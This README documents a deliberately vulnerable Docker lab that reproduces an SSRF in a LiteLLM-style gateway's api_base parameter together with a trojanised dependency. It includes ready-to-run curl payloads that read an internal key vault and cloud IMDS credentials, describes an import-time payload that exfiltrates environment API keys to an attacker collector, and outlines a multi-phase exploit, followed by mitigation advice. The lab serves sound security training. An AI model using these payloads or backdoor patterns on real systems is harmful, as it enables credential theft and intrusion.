
Lab Docker délibérément vulnérable reproduisant CVE-2026-33634 : SSRF de la passerelle LiteLLM via api_base plus une dépendance trojanisée, avec un exploit multi-phase pour le vol d'identifiants.
api_base (PoC / Lab)⚠️ Laboratoire délibérément vulnérable, à usage éducatif et autorisé. Exécutez-le uniquement sur votre machine, contre les conteneurs de ce dépôt. Lisez SECURITY-NOTES.md avant de commencer.
🚫 N'exécutez JAMAIS ce lab sur une VM cloud ni sur une machine partagée. Le gateway a un SSRF volontairement illimité : s'il existe un IMDS réel (
169.254.169.254) ou des services sensibles sur le loopback/le LAN, le SSRF les atteint réellement. Les ports ne sont publiés que sur127.0.0.1; gardez cette configuration. Utilisez un hôte isolé/jetable.
CVSS 9.4 (critique). Compromission de la supply chain du gateway LiteLLM
(mars/2026) : une dépendance malveillante dans une lib de gateway a exposé
le portefeuille entier de credentials de fournisseurs d'IA. Le schéma
récurrent de cette couche apparaît conjointement : clé OpenAI sur le proxy et
SSRF dans le paramètre api_base. Ce lab reproduit les deux failles et les
enchaîne dans un exploit.
litellm-telemetry-helper (dans malicious-dep/) simule la
dépendance transitive compromise. Dans la narration de l'incident, un pin
faible (>=0.9.6) aurait laissé le résolveur tirer la version malveillante
0.9.7 à la place de la 0.9.6 propre. Le payload se déclenche à
l'import (il suffit que le gateway résolve la dépendance) et, dans un thread
d'arrière-plan, exfiltre tout l'environnement (OPENAI_API_KEY,
ANTHROPIC_API_KEY, AWS_*, ...) vers un collecteur de l'attaquant —
silencieusement, sans casser l'application.
api_baseLe proxy (gateway/app.py) accepte api_base (le base_url
du fournisseur) venant de l'appelant, sans allowlist. L'attaquant contrôle
où le gateway effectue ses requêtes et le gateway en plus :
Authorization, etAvec cela, il est possible de : atteindre des services internes
(/admin/keys), voler des credentials cloud dans l'IMDS
(169.254.169.254), scanner les ports du réseau interne et exfiltrer la
clé de chaque fournisseur en pointant l'api_base vers l'attaquant.
HOST (vous / attaquant)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── réseau docker "labnet" ─┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway │
│ • /beacon (exfil de la dep malveillante) │ (litellm │
│ • /collect (clé exfiltrée via SSRF) │ :4000) │
│ • /oob (confirmation SSRF aveugle) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NON publié) ◄──────────┤ │
│ imds.lab:80 /latest/... (NON publié) ◄──────────┤ │
│ provider-mock.lab:9100 (upstream "normal") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab et imds.lab n'ont aucun port publié — seul le SSRF du
gateway les atteint. C'est tout l'intérêt du laboratoire.
Prérequis : Docker + Docker Compose v2, et Python 3.9+ avec httpx pour l'exploit.
cd CVE-2026-33634
# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build # ou: make up
# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt
# 3) roda o exploit completo
python3 exploit/exploit.py # ou: make exploit
Exécuter des phases isolées :
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # só rouba o cofre interno
python3 exploit/exploit.py --only cloud # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain # só verifica o beacon da dep
Le loot complet est enregistré dans loot.json. Suivez l'attaquant recevant les
données :
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
Ce lab privilégie la clarté didactique et la reproductibilité. Là où il abstrait l'incident réel, c'est volontaire — et il vaut la peine de connaître les différences :
import litellm_telemetry_helper explicitement, au lieu que le paquet soit une
dépendance transitive cachée dans l'arbre du litellm réel. L'effet
(payload à l'import) est identique ; la chaîne de résolution a été raccourcie.>=0.9.6 est
la narration (ligne commentée dans gateway/requirements.txt) ; dans le lab
la dep est installée depuis ./malicious-dep via le Dockerfile — il n'y a pas
d'index PyPI résolvant 0.9.7 au lieu de 0.9.6. Pour exercer la résolution
pour de vrai, montez un index local (pypiserver/devpi) avec les deux versions.api_base, le lab utilise l'URL
verbatim quand il y a un path explicite (pour démontrer la lecture de
/admin/keys et de l'IMDS dans un seul paramètre). Sur le chemin
OpenAI-compatible, le LiteLLM réel concatène un suffixe fixe
(/chat/completions) et fait un POST — le contrôle porte généralement sur
l' (clé exfiltrée, SSRF par hôte) et le path arbitraire apparaît dans
les routes de /health. L'impact démontré (fuite du portefeuille +
pivot interne/cloud) est fidèle ; la construction exacte de l'URL est
simplifiée.SSRF (api_base)
169.254.0.0/16
(IMDS) ; résolvez le DNS et validez l'IP avant de vous connecter
(attention au rebinding).hop-limit=1 sur l'hôte cloud.Supply chain
--require-hashes, lockfile) ; pas de >=.pip install comme une exécution de code (install hooks) ; utilisez
un sandbox/CI isolé.Credentials/secret (baseline)
CVE-2026-33634/
├── docker-compose.yml # orquestra tudo na rede labnet
├── Makefile # up / down / logs / exploit
├── gateway/ # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/ # a dependência trojanizada (payload no import)
├── collector/ # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/ # /admin/keys interno (só via SSRF)
├── imds/ # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/ # upstream "normal" (contraste)
├── exploit/exploit.py # exploit multi-fase (async)
├── SECURITY-NOTES.md # vulns intencionais, contenção e autorização
└── README.md
| Phase | Technique |
|---|
recon | Fingerprint du gateway ; énumère les modèles/fournisseurs ; détecte le sink api_base. |
ssrf | Confirme le SSRF de manière aveugle (out-of-band) : force un callback avec un token unique vers le collecteur. |
scan | Port-scan du réseau interne à travers le gateway (concurrent). |
internal | SSRF → internal.lab/admin/keys : exfiltre le coffre de credentials entier. |
cloud | SSRF → IMDS : vole les credentials STS temporaires du rôle de l'instance. |
keyleak | Pointe api_base vers l'attaquant ; le gateway exfiltre la clé de chaque fournisseur dans l'Authorization. |
supplychain | Lit le loot : la dep trojanisée a déjà exfiltré l'environnement à l'import. |
report | Consolide l'impact et écrit loot.json. |